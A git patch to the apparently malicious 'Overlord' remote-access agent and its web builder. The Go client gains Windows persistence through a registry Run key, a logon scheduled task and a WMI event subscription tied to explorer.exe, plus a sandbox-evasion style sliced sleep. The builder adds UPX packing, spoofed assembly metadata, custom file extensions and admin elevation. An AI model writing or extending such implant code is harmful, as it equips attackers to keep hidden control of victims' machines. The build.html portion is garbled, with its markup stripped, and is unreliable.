From ac5cf6e43e7f9777197801a2de689ee8e4638a3e Mon Sep 17 00:00:00 2001 From: KingKDot Date: Sat, 21 Mar 2026 02:12:35 -0500 Subject: [PATCH] tons of new build options, fix mutex shit, etc --- Overlord-Client/cmd/agent/config/config.go | 17 + Overlord-Client/cmd/agent/main.go | 4 + .../cmd/agent/mutex/mutex_windows.go | 6 + .../cmd/agent/persistence/persistence.go | 4 + .../agent/persistence/persistence_windows.go | 126 +-- .../persistence_windows_registry.go | 40 + .../persistence_windows_taskscheduler.go | 33 + .../persistence/persistence_windows_wmi.go | 46 + Overlord-Client/cmd/agent/sleeper.go | 22 + Overlord-Server/public/assets/build.js | 39 + Overlord-Server/public/build.html | 868 ++++++++---------- Overlord-Server/src/build/types.ts | 3 + Overlord-Server/src/server/build-process.ts | 98 +- .../src/server/routes/build-routes.ts | 14 + 14 files changed, 714 insertions(+), 606 deletions(-) create mode 100644 Overlord-Client/cmd/agent/persistence/persistence_windows_registry.go create mode 100644 Overlord-Client/cmd/agent/persistence/persistence_windows_taskscheduler.go create mode 100644 Overlord-Client/cmd/agent/persistence/persistence_windows_wmi.go create mode 100644 Overlord-Client/cmd/agent/sleeper.go diff --git a/Overlord-Client/cmd/agent/config/config.go b/Overlord-Client/cmd/agent/config/config.go index 2abae72..a01313b 100644 --- a/Overlord-Client/cmd/agent/config/config.go +++ b/Overlord-Client/cmd/agent/config/config.go @@ -27,6 +27,7 @@ var DefaultID = "" var DefaultCountry = "" var DefaultAgentToken = "" var DefaultBuildTag = "" +var DefaultSleepSeconds = "0" const settingsFile = "config/settings.json" const serverIndexFile = "config/server_index.json" @@ -62,6 +63,7 @@ type Config struct { TLSClientKey string AgentToken string BuildTag string + SleepSeconds int } func Load() Config { @@ -162,6 +164,7 @@ func Load() Config { TLSClientKey: tlsClientKey, AgentToken: agentToken, BuildTag: strings.TrimSpace(DefaultBuildTag), + SleepSeconds: parseSleepSeconds(DefaultSleepSeconds), } } @@ -170,6 +173,20 @@ func isTruthy(value string) bool { return v == "true" || v == "1" || v == "yes" || v == "y" } +func parseSleepSeconds(s string) int { + n := 0 + for _, c := range strings.TrimSpace(s) { + if c < '0' || c > '9' { + return 0 + } + n = n*10 + int(c-'0') + if n > 3600 { + return 3600 + } + } + return n +} + func LoadServerURLsFromRaw(rawURL string) ([]string, error) { trimmed := strings.TrimSpace(rawURL) if trimmed == "" { diff --git a/Overlord-Client/cmd/agent/main.go b/Overlord-Client/cmd/agent/main.go index 63287bc..3f437b6 100644 --- a/Overlord-Client/cmd/agent/main.go +++ b/Overlord-Client/cmd/agent/main.go @@ -12,6 +12,10 @@ import ( func main() { cfg := config.Load() + if cfg.SleepSeconds > 0 { + sleepObfuscated(cfg.SleepSeconds) + } + if cfg.EnablePersistence { if err := persistence.Setup(); err != nil { log.Printf("Warning: Failed to setup persistence: %v", err) diff --git a/Overlord-Client/cmd/agent/mutex/mutex_windows.go b/Overlord-Client/cmd/agent/mutex/mutex_windows.go index ec5dabf..45cf55d 100644 --- a/Overlord-Client/cmd/agent/mutex/mutex_windows.go +++ b/Overlord-Client/cmd/agent/mutex/mutex_windows.go @@ -20,6 +20,12 @@ func Acquire(name string) (func(), bool, error) { fullName := "Global\\Overlord-" + sanitized handle, err := windows.CreateMutex(nil, false, windows.StringToUTF16Ptr(fullName)) + if err == windows.ERROR_ALREADY_EXISTS { + if handle != 0 { + windows.CloseHandle(handle) + } + return func() {}, false, nil + } if err != nil { return nil, false, fmt.Errorf("create mutex: %w", err) } diff --git a/Overlord-Client/cmd/agent/persistence/persistence.go b/Overlord-Client/cmd/agent/persistence/persistence.go index d8a1d1d..8c1f719 100644 --- a/Overlord-Client/cmd/agent/persistence/persistence.go +++ b/Overlord-Client/cmd/agent/persistence/persistence.go @@ -7,6 +7,10 @@ import ( var DefaultPersistenceMethod = "startup" +var persistInstallFn func(targetPath string) error = func(_ string) error { return nil } + +var persistUninstallFns []func() error + func Setup() error { exePath, err := os.Executable() if err != nil { diff --git a/Overlord-Client/cmd/agent/persistence/persistence_windows.go b/Overlord-Client/cmd/agent/persistence/persistence_windows.go index 72affe4..83ce808 100644 --- a/Overlord-Client/cmd/agent/persistence/persistence_windows.go +++ b/Overlord-Client/cmd/agent/persistence/persistence_windows.go @@ -152,68 +152,6 @@ func runPowerShell(script string) error { return nil } -func installStartupFolder(_ string) error { - return nil -} - -func installRegistry(targetPath string) error { - k, _, err := registry.CreateKey(registry.CURRENT_USER, registryKey, - registry.QUERY_VALUE|registry.SET_VALUE) - if err != nil { - return fmt.Errorf("failed to open HKCU Run key: %w", err) - } - defer k.Close() - - names, _ := k.ReadValueNames(0) - for _, name := range names { - if strings.HasPrefix(strings.ToLower(name), strings.ToLower(registryValuePrefix)) { - return k.SetStringValue(name, fmt.Sprintf(`"%s"`, targetPath)) - } - } - - b := make([]byte, 4) - if _, err := rand.Read(b); err != nil { - return fmt.Errorf("failed to generate registry value name: %w", err) - } - valueName := registryValuePrefix + hex.EncodeToString(b) - return k.SetStringValue(valueName, fmt.Sprintf(`"%s"`, targetPath)) -} - -func installTaskScheduler(targetPath string) error { - taskName := deriveTaskName(targetPath) - safe := strings.ReplaceAll(targetPath, "'", "''") - // Notes on PowerShell parameter syntax used here: - // -ExecutionTimeLimit: expects a TimeSpan; ([TimeSpan]::Zero) disables the limit. - // -StartWhenAvailable: SwitchParameter — must be bare or use colon syntax (:$true); - // writing "-StartWhenAvailable $true" (with space) makes $true a positional arg, which errors. - script := fmt.Sprintf( - `$a = New-ScheduledTaskAction -Execute '%s'; `+ - `$t = New-ScheduledTaskTrigger -AtLogOn; `+ - `$s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; `+ - `Register-ScheduledTask -TaskName '%s' -Action $a -Trigger $t -Settings $s -Force | Out-Null`, - safe, taskName) - return runPowerShell(script) -} - -func installWMI(targetPath string) error { - filterName, consumerName := deriveWMINames(targetPath) - safe := strings.ReplaceAll(targetPath, "'", "''") - script := fmt.Sprintf( - `$f = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance(); `+ - `$f.QueryLanguage = 'WQL'; `+ - `$f.Query = "SELECT * FROM __InstanceCreationEvent WITHIN 30 `+ - `WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'"; `+ - `$f.Name = '%s'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); `+ - `$c = ([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance(); `+ - `$c.Name = '%s'; $c.ExecutablePath = '%s'; $null = $c.Put(); `+ - `$b = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance(); `+ - `$b.Filter = "\\.\root\subscription:__EventFilter.Name='%s'"; `+ - `$b.Consumer = "\\.\root\subscription:CommandLineEventConsumer.Name='%s'"; `+ - `$null = $b.Put()`, - filterName, consumerName, safe, filterName, consumerName) - return runPowerShell(script) -} - func install(exePath string) error { targetPath, err := getTargetPath() if err != nil { @@ -229,23 +167,10 @@ func install(exePath string) error { return err } - switch activeMethod() { - case "registry": - if err := installRegistry(targetPath); err != nil { - return fmt.Errorf("failed to install registry persistence: %w", err) - } - case "taskscheduler": - if err := installTaskScheduler(targetPath); err != nil { - return fmt.Errorf("failed to install task scheduler persistence: %w", err) - } - case "wmi": - if err := installWMI(targetPath); err != nil { - return fmt.Errorf("failed to install WMI persistence: %w", err) - } + if err := persistInstallFn(targetPath); err != nil { + return fmt.Errorf("failed to install persistence: %w", err) } - // Best-effort cleanup of legacy registry entries from older versions. - // Don't fail persistence setup if cleanup is denied due to insufficient permissions. _ = cleanupLegacyRunValues() return nil @@ -302,34 +227,21 @@ func configure(exePath string) error { } } - switch activeMethod() { - case "registry": - if err := installRegistry(targetPath); err != nil { - return fmt.Errorf("failed to reconfigure registry persistence: %w", err) - } - case "taskscheduler": - if err := installTaskScheduler(targetPath); err != nil { - return fmt.Errorf("failed to reconfigure task scheduler persistence: %w", err) - } - case "wmi": - if err := installWMI(targetPath); err != nil { - return fmt.Errorf("failed to reconfigure WMI persistence: %w", err) - } - default: - // Best-effort cleanup of legacy registry entries from older versions. - // Don't fail persistence setup if cleanup is denied due to insufficient permissions. - _ = cleanupLegacyRunValues() + if err := persistInstallFn(targetPath); err != nil { + return fmt.Errorf("failed to reconfigure persistence: %w", err) } + _ = cleanupLegacyRunValues() + return nil } func uninstall() error { _ = cleanupLegacyRunValues() - _ = uninstallTaskScheduler() - - _ = uninstallWMI() + for _, fn := range persistUninstallFns { + _ = fn() + } appDataDir := os.Getenv("APPDATA") if appDataDir == "" { @@ -347,26 +259,6 @@ func uninstall() error { return nil } -func uninstallTaskScheduler() error { - return runPowerShell( - `Get-ScheduledTask -ErrorAction SilentlyContinue | ` + - `Where-Object { $_.TaskName -like 'ovd_*' } | ` + - `Unregister-ScheduledTask -Confirm:$false -ErrorAction SilentlyContinue`) -} - -func uninstallWMI() error { - return runPowerShell( - `Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding ` + - `-ErrorAction SilentlyContinue | Where-Object { $_.Filter -like "*ovd_*" } | ` + - `Remove-WmiObject -ErrorAction SilentlyContinue; ` + - `Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer ` + - `-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "ovd_*" } | ` + - `Remove-WmiObject -ErrorAction SilentlyContinue; ` + - `Get-WmiObject -Namespace root\subscription -Class __EventFilter ` + - `-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "ovd_*" } | ` + - `Remove-WmiObject -ErrorAction SilentlyContinue`) -} - func cleanupPrefixedExecutables(dir string) error { entries, err := os.ReadDir(dir) if err != nil { diff --git a/Overlord-Client/cmd/agent/persistence/persistence_windows_registry.go b/Overlord-Client/cmd/agent/persistence/persistence_windows_registry.go new file mode 100644 index 0000000..28f4b47 --- /dev/null +++ b/Overlord-Client/cmd/agent/persistence/persistence_windows_registry.go @@ -0,0 +1,40 @@ +//go:build windows && persist_registry +// +build windows,persist_registry + +package persistence + +import ( + "crypto/rand" + "encoding/hex" + "fmt" + "strings" + + "golang.org/x/sys/windows/registry" +) + +func init() { + persistInstallFn = installRegistry +} + +func installRegistry(targetPath string) error { + k, _, err := registry.CreateKey(registry.CURRENT_USER, registryKey, + registry.QUERY_VALUE|registry.SET_VALUE) + if err != nil { + return fmt.Errorf("failed to open HKCU Run key: %w", err) + } + defer k.Close() + + names, _ := k.ReadValueNames(0) + for _, name := range names { + if strings.HasPrefix(strings.ToLower(name), strings.ToLower(registryValuePrefix)) { + return k.SetStringValue(name, fmt.Sprintf(`"%s"`, targetPath)) + } + } + + b := make([]byte, 4) + if _, err := rand.Read(b); err != nil { + return fmt.Errorf("failed to generate registry value name: %w", err) + } + valueName := registryValuePrefix + hex.EncodeToString(b) + return k.SetStringValue(valueName, fmt.Sprintf(`"%s"`, targetPath)) +} diff --git a/Overlord-Client/cmd/agent/persistence/persistence_windows_taskscheduler.go b/Overlord-Client/cmd/agent/persistence/persistence_windows_taskscheduler.go new file mode 100644 index 0000000..e9391ca --- /dev/null +++ b/Overlord-Client/cmd/agent/persistence/persistence_windows_taskscheduler.go @@ -0,0 +1,33 @@ +//go:build windows && persist_taskscheduler +// +build windows,persist_taskscheduler + +package persistence + +import ( + "fmt" + "strings" +) + +func init() { + persistInstallFn = installTaskScheduler + persistUninstallFns = append(persistUninstallFns, uninstallTaskScheduler) +} + +func installTaskScheduler(targetPath string) error { + taskName := deriveTaskName(targetPath) + safe := strings.ReplaceAll(targetPath, "'", "''") + script := fmt.Sprintf( + `$a = New-ScheduledTaskAction -Execute '%s'; `+ + `$t = New-ScheduledTaskTrigger -AtLogOn; `+ + `$s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; `+ + `Register-ScheduledTask -TaskName '%s' -Action $a -Trigger $t -Settings $s -Force | Out-Null`, + safe, taskName) + return runPowerShell(script) +} + +func uninstallTaskScheduler() error { + return runPowerShell( + `Get-ScheduledTask -ErrorAction SilentlyContinue | ` + + `Where-Object { $_.TaskName -like 'ovd_*' } | ` + + `Unregister-ScheduledTask -Confirm:$false -ErrorAction SilentlyContinue`) +} diff --git a/Overlord-Client/cmd/agent/persistence/persistence_windows_wmi.go b/Overlord-Client/cmd/agent/persistence/persistence_windows_wmi.go new file mode 100644 index 0000000..d0066f5 --- /dev/null +++ b/Overlord-Client/cmd/agent/persistence/persistence_windows_wmi.go @@ -0,0 +1,46 @@ +//go:build windows && persist_wmi +// +build windows,persist_wmi + +package persistence + +import ( + "fmt" + "strings" +) + +func init() { + persistInstallFn = installWMI + persistUninstallFns = append(persistUninstallFns, uninstallWMI) +} + +func installWMI(targetPath string) error { + filterName, consumerName := deriveWMINames(targetPath) + safe := strings.ReplaceAll(targetPath, "'", "''") + script := fmt.Sprintf( + `$f = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance(); `+ + `$f.QueryLanguage = 'WQL'; `+ + `$f.Query = "SELECT * FROM __InstanceCreationEvent WITHIN 30 `+ + `WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'"; `+ + `$f.Name = '%s'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); `+ + `$c = ([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance(); `+ + `$c.Name = '%s'; $c.ExecutablePath = '%s'; $null = $c.Put(); `+ + `$b = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance(); `+ + `$b.Filter = "\\.\root\subscription:__EventFilter.Name='%s'"; `+ + `$b.Consumer = "\\.\root\subscription:CommandLineEventConsumer.Name='%s'"; `+ + `$null = $b.Put()`, + filterName, consumerName, safe, filterName, consumerName) + return runPowerShell(script) +} + +func uninstallWMI() error { + return runPowerShell( + `Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding ` + + `-ErrorAction SilentlyContinue | Where-Object { $_.Filter -like "*ovd_*" } | ` + + `Remove-WmiObject -ErrorAction SilentlyContinue; ` + + `Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer ` + + `-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "ovd_*" } | ` + + `Remove-WmiObject -ErrorAction SilentlyContinue; ` + + `Get-WmiObject -Namespace root\subscription -Class __EventFilter ` + + `-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "ovd_*" } | ` + + `Remove-WmiObject -ErrorAction SilentlyContinue`) +} diff --git a/Overlord-Client/cmd/agent/sleeper.go b/Overlord-Client/cmd/agent/sleeper.go new file mode 100644 index 0000000..f2ee349 --- /dev/null +++ b/Overlord-Client/cmd/agent/sleeper.go @@ -0,0 +1,22 @@ +package main + +import "time" + +func sleepObfuscated(seconds int) { + if seconds <= 0 { + return + } + const slice = 500 * time.Millisecond + end := time.Now().Add(time.Duration(seconds) * time.Second) + for { + remaining := time.Until(end) + if remaining <= 0 { + return + } + next := remaining + if next > slice { + next = slice + } + time.Sleep(next) + } +} diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js index e74c4c7..5bc6e1e 100644 --- a/Overlord-Server/public/assets/build.js +++ b/Overlord-Server/public/assets/build.js @@ -54,6 +54,37 @@ function updateServerUrlPlaceholder() { let isBuilding = false; +function initAccordions() { + document.querySelectorAll(".accordion-section").forEach((section) => { + const header = section.querySelector(".accordion-header"); + const body = section.querySelector(".accordion-body"); + const chevron = section.querySelector(".accordion-chevron"); + const startOpen = section.dataset.open !== "false"; + + if (!startOpen) { + body.classList.add("collapsed"); + } else { + chevron.classList.add("rotated"); + } + + header.addEventListener("click", () => { + const nowCollapsed = body.classList.toggle("collapsed"); + chevron.classList.toggle("rotated", !nowCollapsed); + }); + }); +} + +function updateWindowsSectionVisibility() { + const windowsSection = document.getElementById("windows-settings-section"); + if (!windowsSection) return; + const hasWindows = Array.from( + document.querySelectorAll('input[name="platform"]:checked'), + ).some((el) => el.value.startsWith("windows-")); + windowsSection.classList.toggle("hidden", !hasWindows); +} + +initAccordions(); +updateWindowsSectionVisibility(); init(); if (rawServerListCheckbox && serverUrlInput) { @@ -133,6 +164,7 @@ if (persistenceCheckbox && persistenceMethodContainer) { platformInputs.forEach((input) => { input.addEventListener("change", updatePersistenceSettingsVisibility); + input.addEventListener("change", updateWindowsSectionVisibility); }); updatePersistenceSettingsVisibility(); @@ -331,6 +363,10 @@ form?.addEventListener("submit", async (e) => { const assemblyCompany = form.querySelector("#assembly-company")?.value.trim() || ""; const assemblyVersion = form.querySelector("#assembly-version")?.value.trim() || ""; const assemblyCopyright = form.querySelector("#assembly-copyright")?.value.trim() || ""; + const requireAdmin = form.querySelector('input[name="require-admin"]')?.checked || false; + const outputExtension = form.querySelector("#output-extension")?.value || ".exe"; + const sleepSecondsRaw = parseInt(form.querySelector("#sleep-seconds")?.value || "0", 10); + const sleepSeconds = !isNaN(sleepSecondsRaw) && sleepSecondsRaw > 0 ? sleepSecondsRaw : 0; const buildConfig = { platforms, @@ -354,6 +390,9 @@ form?.addEventListener("submit", async (e) => { assemblyCompany: assemblyCompany || undefined, assemblyVersion: assemblyVersion || undefined, assemblyCopyright: assemblyCopyright || undefined, + requireAdmin, + outputExtension, + sleepSeconds: sleepSeconds > 0 ? sleepSeconds : undefined, iconBase64: pendingIconBase64 || undefined, enableUpx: form.querySelector('input[name="enable-upx"]')?.checked || false, upxStripHeaders: form.querySelector('input[name="upx-strip-headers"]')?.checked || false, diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html index 11bf73c..a5a6fa3 100644 --- a/Overlord-Server/public/build.html +++ b/Overlord-Server/public/build.html @@ -26,6 +26,27 @@ > +
@@ -34,9 +55,7 @@

Client Builder

-

- Build customized Overlord client agents -

+

Build customized Overlord client agents

@@ -47,493 +66,379 @@ Build Configuration -
- -
- -
- - - - - - - - - - - - - + + + +
+ +
+
+
+ + + + + + + + + + + + + +
+
- -
- - - -

- When enabled, the URL above must be a raw HTTPS link that contains one wss:// endpoint per line. -

-
+ +
+ +
+
- -
- - -

- Optional: Custom name prefix for output binaries (letters, numbers, . _ - only) -

-
- - -
- - -

- Optional: Set a fixed mutex or leave empty to auto-generate -

- -
- - -
- -
- - - - -